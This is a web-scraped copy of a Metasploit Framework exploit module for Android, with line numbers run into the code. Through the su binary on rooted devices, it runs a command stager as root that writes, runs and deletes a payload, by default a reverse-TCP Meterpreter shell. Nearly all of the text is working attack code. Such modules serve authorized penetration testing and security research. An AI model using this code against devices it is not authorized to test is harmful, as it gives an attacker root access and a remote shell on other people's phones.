Path: blob/master/modules/exploits/android/local/su_exec.rb
31684 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ManualRanking78include Msf::Exploit::CmdStager9include Msf::Post::File10include Msf::Post::Android::Priv1112def initialize(info = {})13super(14update_info(15info,16{17'Name' => "Android 'su' Privilege Escalation",18'Description' => %q{19This module uses the su binary present on rooted devices to run20a payload as root.2122A rooted Android device will contain a su binary (often linked with23an application) that allows the user to run commands as root.24This module will use the su binary to execute a command stager25as root. The command stager will write a payload binary to a26temporary directory, make it executable, execute it in the background,27and finally delete the executable.2829On most devices the su binary will pop-up a prompt on the device30asking the user for permission.31},32'Author' => 'timwr',33'License' => MSF_LICENSE,34'DisclosureDate' => '2017-08-31',35'SessionTypes' => [ 'meterpreter', 'shell' ],36'Platform' => [ 'android', 'linux' ],37'Targets' => [38['aarch64', { 'Arch' => ARCH_AARCH64 }],39['armle', { 'Arch' => ARCH_ARMLE }],40['x86', { 'Arch' => ARCH_X86 }],41['x64', { 'Arch' => ARCH_X64 }],42['mipsle', { 'Arch' => ARCH_MIPSLE }]43],44'DefaultOptions' => {45'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp',46'WfsDelay' => 547},48'DefaultTarget' => 0,49'Notes' => {50'SideEffects' => [ ARTIFACTS_ON_DISK ],51'Reliability' => [ REPEATABLE_SESSION ],52'Stability' => [ CRASH_SAFE ]53}54}55)56)57register_options([58OptString.new('SU_BINARY', [true, 'The su binary to execute to obtain root', 'su']),59OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']),60])61end6263def base_dir64datastore['WritableDir'].to_s65end6667def su_bin68datastore['SU_BINARY'].to_s69end7071def exploit72if is_root?73fail_with(Failure::BadConfig, 'Session already has root privileges')74end7576linemax = 4088 - su_bin.size77execute_cmdstager({78flavor: :echo,79enc_format: :octal,80prefix: '\\\\0',81temp: base_dir,82linemax: linemax,83background: true84})85end8687def execute_command(cmd, _opts)88cmd_exec("#{su_bin} -c '#{cmd}'")89end90end919293